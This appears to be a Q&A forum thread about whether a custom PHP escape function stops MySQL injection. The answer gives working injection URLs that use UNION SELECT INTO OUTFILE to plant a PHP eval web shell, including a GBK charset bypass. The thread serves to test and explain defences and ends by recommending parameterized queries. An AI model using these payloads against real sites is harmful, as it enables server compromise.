Found a weak escape function for MySql, how to exploit?

Question

In an application I'm working on I've found a weak escape function to prevent injection. I'm trying to prove this, but I'm having trouble coming up with a simple example.

The escape function works as follows (PHP example).

function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

I realize this doesn't deal with values encoded using double quotes ("), but all queries are constructed using single quotes (').

Who can defeat this escape function?

Requirements:

• String in queries are always enclosed in quotes.
• Double-quotes are never used.
• MySQL connection is set to UTF8.

Simple examples:

$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

Answer 1

If you are just replacing ' with '' then you could exploit this by injecting a \' which will turn into a \'' and this will allow you to break out because this gives you a "character literal" single-quote and a real single-quote. However, the replacement of "\\" with "\\\\" negates this attack. The double-single-quote is used to "escape" single quotes for MS-SQL, but this isn't proper for MySQL, but it can work.

The following codes proves that this escape function is safe for all except three conditions. This code permutes though all possible variations of control charters, and testing each one to make sure an error doesn't occur with a single quote encased select statement. This code was tested on MySQL 5.1.41.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Vulnerable Condition 1: no quote marks used.

mysql_query("select username from users where id=".escape($_GET['id']));

Exploit:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Vulnerable Condition 2: double quote marks used

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Exploit:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Vulnerable Condition 2: single quotes are used, however an alternative character set is used..

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Exploit:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

The conclusion is to always use mysql_real_escape_string() as the escape routine for MySQL. Parameterized query libraries like pdo and adodb always use mysql_real_escape_string() when connected to a mysql database. addslashes() is FAR BETTER of an escape routine because it takes care of vulnerable condition 2. It should be noted that not even mysql_real_escape_string() will stop condition 1, however a parameterized query library will.